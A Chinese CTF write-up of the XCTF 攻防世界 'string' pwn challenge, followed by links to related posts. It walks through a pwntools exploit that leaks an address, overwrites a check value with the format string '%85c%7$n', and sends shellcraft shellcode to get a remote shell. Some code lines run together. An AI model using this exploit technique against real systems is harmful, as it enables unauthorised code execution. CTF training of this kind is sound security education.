[攻防世界 pwn]——string

  • 题目地址:https://adworld.xctf.org.cn/
  • 题目:

peak小知识

mmap函数作用,mmap主要是将文件映射到一段内存去同时设置那段内存的属性可读可写或者是可执行详情请看mmap & mprotect

在checksec看到开启了canary和NX,应该和格式化字符串有关。

在IDA中看看,发现侧边栏竟然有mmap函数,这个地方应该是关键点,


找到函数位置,想要保证该函数执行,必须保证前两个函数执行完毕,并且a1 == a1[1], 跟前面找会发现a1其实就最开始的v3,而v3 = 68, v3[1] = 85。我们只要修改一个就好。


在下面我们发现了有格式化字符串的漏洞可以利用修改

下面就开始逐步书写exploit

  • 接受v3地址
from pwn import *
p = remote('111.200.241.244',57138)
p.recvuntil("secret[0] is ")
v3_0_addr = int(p.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))
  • 进入sub_4000D72()
p.recvuntil("character's name be:")
p.sendline("peak")
  • 进入sub_400A7D()并退出
p.recvuntil("east or up?:")
p.sendline("east")
  • 进入sub_400BB9()修改*v3并退出
p.recvuntil("there(1), or leave(0)?:")
p.sendline("1")
p.recvuntil("'Give me an address'")
p.sendline(str(v3_0_addr))
p.recvuntil("you wish is:")
p.sendline("%85c%7$n")
  • 进入sub_400CA6()输入shellcode 并执行
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh()) p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)
p.interactive()

exploit

from pwn import *
p = remote('111.200.241.244',57138)
p.recvuntil("secret[0] is ")
v3_0_addr = int(p.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))p.recvuntil("character's name be:")
p.sendline("peak")p.recvuntil("east or up?:")
p.sendline("east")p.recvuntil("there(1), or leave(0)?:")
p.sendline("1")
p.recvuntil("'Give me an address'")
p.sendline(str(v3_0_addr))
p.recvuntil("you wish is:")
p.sendline("%85c%7$n")context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh()) p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)
p.interactive()

[攻防世界 pwn]——string(内涵peak小知识)相关推荐

  1. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  2. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  3. [攻防世界 pwn]——time_formatter(内涵peak小知识)

    [攻防世界 pwn]--time_formatter 题目地址: https://adworld.xctf.org.cn/ 题目: 这是一道堆利用的题, UAFF(use After Free)漏洞. ...

  4. [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)

    [BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...

  5. [BUUCTF-pwn]——mrctf2020_shellcode_revenge(可见字符shellcode)(内涵peak小知识)

    [BUUCTF-pwn]--mrctf2020_shellcode_revenge(可见字符shellcode) 检查了下保护发现NX 没有开,肯定要自己写shellcode呀. 不过这道题,刷新了我 ...

  6. [BUUCTF-pwn]——picoctf_2018_leak_me(内涵peak小知识)

    [BUUCTF-pwn]--picoctf_2018_leak_me 题目没什么难度,但是可能反汇编的时候你们可能会出现一些问题. peak小知识 pwn题,有时会碰到无法反汇编的情况,大多数情况下, ...

  7. [BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)

    [BUUCTF-pwn]--ciscn_2019_es_2 题目地址: https://buuoj.cn/challenges#ciscn_2019_es_2 这是一道栈劫持的题,第一次写这种题的题解 ...

  8. 攻防世界 pwn string

    攻防世界string应该是新手区数一数二的难题,难点在理解程序流程. 先观察主函数: alarm函数 什么是alarm函数? 如上图所示,在做一些pwn题的时候,我们有时会遇到alarm(0x3Cu) ...

  9. [攻防世界 pwn]——pwn-200

    [攻防世界 pwn]--pwn-200 题目地址: https://adworld.xctf.org.cn/ 题目: peak小知识 ret2libc的题型, 一般给一个输出和一个输入的函数, 输入一 ...

最新文章

  1. V8 JavaScript引擎研究(三)垃圾回收器的实现
  2. 首次安装Pycharm出现No Python interpreter selected解决方法
  3. ui5 resource file 404 error
  4. idea 调试远程tomcat
  5. 分享21个超棒的单页面HTML作品集展示模板
  6. java bitset xor_java中的BitSet
  7. SVM之-核函数概念和简单例子
  8. fanuc系统屏蔽服务器,FANUC系统常见的3种锁轴方法及坐标轴字母含义
  9. android定位和地图开发实例
  10. 墓碑上的字符c语言程序设计,刻在死者墓碑上.概述人物事迹.赞美人物品格的文字叫墓志铭.信客离开我们后.村民为他树碑.请你为其撰写墓志铭. 题目和参考答案——青夏教育精英家教网——...
  11. 半导体Led Driver IC失效分析
  12. 网页压缩算法deflate揭秘
  13. Mac安装Java反编译工具JD-GUI(解决打不开问题)
  14. python 方差分析_使用Python的重复测量方差分析
  15. 六大主流安卓模拟器(腾讯、逍遥、mumu、夜神、雷电、蓝叠)的测评:游戏以外的使用
  16. Java第三章 面向对象(上)
  17. Swift - 加速传感器(CoreMotion)的用法,小球加速运动并反弹样例
  18. c语言中如何求双胞胎素数,征求好的算法:输出十万以内的双胞胎素数
  19. 国标GB28181-2022主要技术变化
  20. 销售线索是什么意思?销售线索的重要性

热门文章

  1. (转载)FPGA基础知识------PS/2基础知识
  2. Ajax中什么时候用同步,什么时候用异步?
  3. PHP-代码审计-变量覆盖
  4. [Python图像处理] 四十一.Python图像平滑万字详解(均值滤波、方框滤波、高斯滤波、中值滤波、双边滤波)
  5. [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含缺陷复现及防御措施(CVE-2018-12613)
  6. [Python图像处理] 一.图像处理基础知识及OpenCV入门函数
  7. 【数据结构与算法】之深入解析“排列序列”的求解思路与算法示例
  8. LeetCode Algorithm 746. 使用最小花费爬楼梯
  9. hive -e ,hive -f 用法
  10. 剑指 Offer 11. 旋转数组的最小数字 LCOF